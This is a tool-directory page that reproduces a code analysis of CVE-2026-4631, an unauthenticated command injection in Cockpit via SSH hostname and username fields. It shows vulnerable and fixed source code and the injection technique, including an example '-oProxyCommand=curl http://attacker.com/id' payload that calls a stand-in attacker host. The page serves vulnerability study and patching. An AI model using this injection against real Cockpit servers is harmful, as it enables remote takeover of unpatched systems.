Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-4631-cockpit-RCE — Cockpit: Unauthenticated Remote Code Execution via SSH Command-Line Argument Injection | Kitploit
Tools/GitHubGitHub/cyberheartmi9/cve-2026-4631-cockpit-rce
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRed Teaming
GitHubcyberheartmi9/cve-2026-4631-cockpit-rce

CVE-2026-4631-cockpit-RCE

Cockpit: Unauthenticated Remote Code Execution via SSH Command-Line Argument Injection

View Repository
146205 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-4631 — Code Analysis

Cockpit: Unauthenticated Remote Code Execution via SSH Command-Line Argument Injection

FieldDetail
CVE IDCVE-2026-4631
GHSAGHSA-m4gv-x78h-3427
SeverityCritical (CVSS 9.8)
Affected versionsCockpit 327 – 359
Fixed inCockpit 360
CWECWE-78: OS Command Injection
Auth requiredNO
Reported byJelle van der Waa

Table of Contents

  1. Vulnerability Overview
  2. Architecture Background
  3. Root Cause Analysis
  4. Vulnerable Code — File by File
  5. Attack Vectors
  6. Data Flow Diagram
  7. Patch Analysis
  8. Detection
  9. References

1. Vulnerability Overview

Cockpit's remote login feature passes user-supplied hostnames (from the URL path) and usernames (from the Authorization: Basic header) directly to the OpenSSH ssh binary without any validation or sanitization.

An unauthenticated attacker with network access to port 9090 can craft a single HTTP request that:

  • Injects arbitrary SSH options via the hostname field (-oProxyCommand=<cmd>)
  • Injects shell commands via the username field exploiting SSH's %r token expansion

Both injection points fire before credential verification completes, meaning no valid login is required.


2. Architecture Background

Normal Remote Login Flow

Auth-flow

What Changed in Version 327

Before version 327, Cockpit used a dedicated C binary called cockpit-ssh (based on libssh) for remote connections. Starting in version 327, this was replaced with:

python3 -m cockpit.beiboot

which invokes the system OpenSSH ssh client. This change introduced the vulnerability because the new code path passes user-controlled values directly to ssh without sanitization.


3. Root Cause Analysis

Issue 1 — No -- Separator Before Hostname

The SSH client interprets arguments starting with - as options, not as a hostname, unless a -- separator precedes them. Without --, any hostname beginning with - is parsed as an SSH flag.

Vulnerable construction:

ssh [options] <hostname> <remote-command>

Safe construction:

ssh [options] -- <hostname> <remote-command>

Issue 2 — No Input Validation

Neither cockpit-ws (C code) nor cockpit.beiboot (Python code) validates or sanitizes:

  • The hostname extracted from the URL path
  • The username extracted from the Authorization: Basic header

Issue 3 — Python argparse Bug (CPython #66623)

A known CPython bug causes argparse to mishandle arguments starting with - that also contain spaces, treating them as positionals rather than flags. This allows a -oProxyCommand=evil command hostname to pass through Python argument parsing and reach ssh as an option.


4. Vulnerable Code — File by File

4.1 src/cockpit/beiboot.py — Primary Injection Point

This is the most critical file. The via_ssh() function builds the SSH command argument list.

Vulnerable code (before patch)

def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
    """Build an ssh command to run `cmd` on `dest`."""

    # Parse optional port from dest (e.g. "host:2222")
    host, _, port = dest.rpartition(':')

    if port.isdigit() and host:
        # Strip IPv6 brackets
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  VULNERABLE: No '--' before host
        # If host = "-oProxyCommand=evil", ssh treats it as an option
        destination = ['-p', port, host]

    else:
        #  VULNERABLE: Raw attacker input passed directly to ssh
        destination = [dest]

    return (
        'ssh', *ssh_opts, *destination, shlex.join(cmd)
    )

What the resulting SSH invocation looks like

With dest = "-oProxyCommand=curl http://attacker.com/id":

arg0: ssh
arg1: -oNumberOfPasswordPrompts=1      ← cockpit option
arg2: -oProxyCommand=curl http://...   ←  PARSED AS SSH OPTION (not host)
arg3: python3 -ic '# cockpit-bridge'   ← becomes the "hostname" → triggers ProxyCommand

Fixed code (version 360)

    if port.isdigit() and host:
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  FIXED: '--' forces everything after it to be positional
        destination = ['-p', port, '--', host]

    else:
        #  FIXED: '--' separator added
        destination = ['--', dest]

4.2 src/ws/cockpitauth.c — C Layer: Hostname Extraction

This C file handles the initial HTTP request parsing and spawns the beiboot process.

Hostname extraction from URL (no validation)

static const gchar *
application_parse_host(const gchar *application)
{
    const gchar *prefix = "cockpit+=";
    gint len = strlen(prefix);

    g_return_val_if_fail(application != NULL, NULL);

    // Extracts everything after "cockpit+=" from the URL path
    //  No character validation — dashes, special chars allowed
    if (g_str_has_prefix(application, prefix) && application[len] != '\0')
        return application + len;
    else
        return NULL;
}

The returned hostname is passed directly as an argument when spawning beiboot:

// cockpit_ws_ssh_program is the spawn command template
//  VULNERABLE: hostname appended with no sanitization
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
//                                                                      ^
//                        No trailing '--' means hostname can be parsed
//                        as a flag by Python's argparse (CPython #66623)

Fixed in version 360

//  FIXED: trailing '--' ensures hostname is always positional
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

Username extraction from Authorization header (no validation)

static CockpitCreds *
build_session_credentials(CockpitAuth *self,
                           CockpitWebRequest *request,
                           const char *application,
                           const char *host,
                           const char *type,
                           const char *authorization)
{
    char *user = NULL;
    char *raw  = NULL;

    if (g_strcmp0(type, "basic") == 0) {
        // Decodes Authorization: Basic base64(user:password)
        //  No validation of 'user' — semicolons, special chars allowed
        raw = cockpit_authorize_parse_basic(authorization, &user);
    }

    // 'user' is passed into credentials and eventually to 'ssh -l <user>'
    creds = cockpit_creds_new(application,
                              COCKPIT_CRED_USER, user,   //  unsanitized
                              ...);
}

4.3 vendor/ferny/src/ferny/session.py — Third Injection Point

The bundled ferny library (used for SSH interaction) has the same -- omission in its subprocess call.

Vulnerable code (before patch)

Download Tool